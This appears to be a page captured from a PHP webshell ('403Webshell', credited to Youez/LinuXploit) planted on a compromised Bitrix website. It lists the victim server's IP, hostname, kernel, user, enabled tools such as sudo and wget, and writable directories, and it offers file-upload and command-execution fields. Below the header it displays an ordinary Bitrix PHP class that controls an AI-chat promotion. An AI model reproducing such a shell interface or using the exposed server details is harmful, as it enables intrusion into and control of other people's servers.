403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/Promotion/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/Promotion/ChatAi.php
<?php

namespace Bitrix\Socialnetwork\Promotion;

use Bitrix\Main\Application;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Loader;
use Bitrix\Main\Type\DateTime;
use Bitrix\Socialnetwork\Integration\Bitrix24\LeftMenuPreset;
use Bitrix\Socialnetwork\Integration\Bitrix24\Portal;

class ChatAi extends AbstractPromotion
{
	public function getPromotionType(): PromotionType
	{
		return PromotionType::CHAT_AI;
	}

	public function shouldShow(int $userId): bool
	{
		if (!Loader::includeModule('ai') || $this->isViewed($userId))
		{
			return false;
		}

		$tasksAiPresetCode = (new LeftMenuPreset())->getSocialAiCode();
		$currentPresetCode = Option::get('intranet', 'left_menu_preset');

		if (is_null($tasksAiPresetCode) || $currentPresetCode !== $tasksAiPresetCode)
		{
			return false;
		}

		$region = Application::getInstance()->getLicense()->getRegion();

		if ($region === 'cn')
		{
			return false;
		}

		$portalCreateDate = (new Portal())->getCreationDateTime();
		$suitablePortalCreationDate = $this->getMinimumSuitablePortalCreationDate();

		if ($portalCreateDate?->getTimestamp() <= $suitablePortalCreationDate->getTimestamp())
		{
			return false;
		}

		return true;
	}

	private function getMinimumSuitablePortalCreationDate(): DateTime
	{
		return new DateTime('2024-11-26', 'Y-m-d');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit